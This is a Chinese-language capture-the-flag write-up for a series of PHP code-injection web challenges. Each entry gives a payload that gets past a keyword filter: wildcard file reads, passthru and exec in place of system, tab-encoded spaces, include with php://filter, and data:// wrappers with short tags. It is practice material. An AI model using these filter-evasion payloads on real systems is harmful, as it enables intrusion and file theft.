Web 29
题目过滤了flag,所以利用通配符来执行命令。
Payload:?c=system('tac f*');
Web 30
查看源代码
System函数不能用,可以用passthru、exec,shell_exec等函数,exec不能输出结果。
特别说一下用exec时构造?c=exec(‘cp f* 1.txt’);(将flag.php中的内容复制给1.txt)
访问1.txt,拿到flag。
Web 31
过滤条件: flag\system\php\cat\sort\shell\小数点\空格\单引号
cat用tac,nl代替
空格用%09代替
Payload:?c=passthru("tac%09f*");
Web 32
查看源代码。
上边的都用不了,所以用文件包含include(),include可以无括号包含,分号;可以用?>代替,与前面形成闭合,这样就可以做到参数逃逸
构造
payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
用base64解密,拿到flag。
Web 33-35
Payload和web 32一样。
Web 36
和之前相比数字也被过滤了,把改为a即可。
Payload:?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Base64解密,得到flag。
Web 37
查看源代码
看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤
data伪协议命令执行:data:text/plain,<php代码; ?>
构造?c=data:text/plain,<?php system($_POST[1]);?>
同时POST:1=tac flag.php
得到flag。
Web38
查看代码。
比上一题多了一个php和file过滤,应该是想过滤php://filter
绕过php:data伪协议后的代码是<?php code; ?>,这里php用短标签代替
<?php echols;?> 使用短标签方式表示:<?=`ls`?>
payload:?c=data:text/plain,<?=`cat f*`?>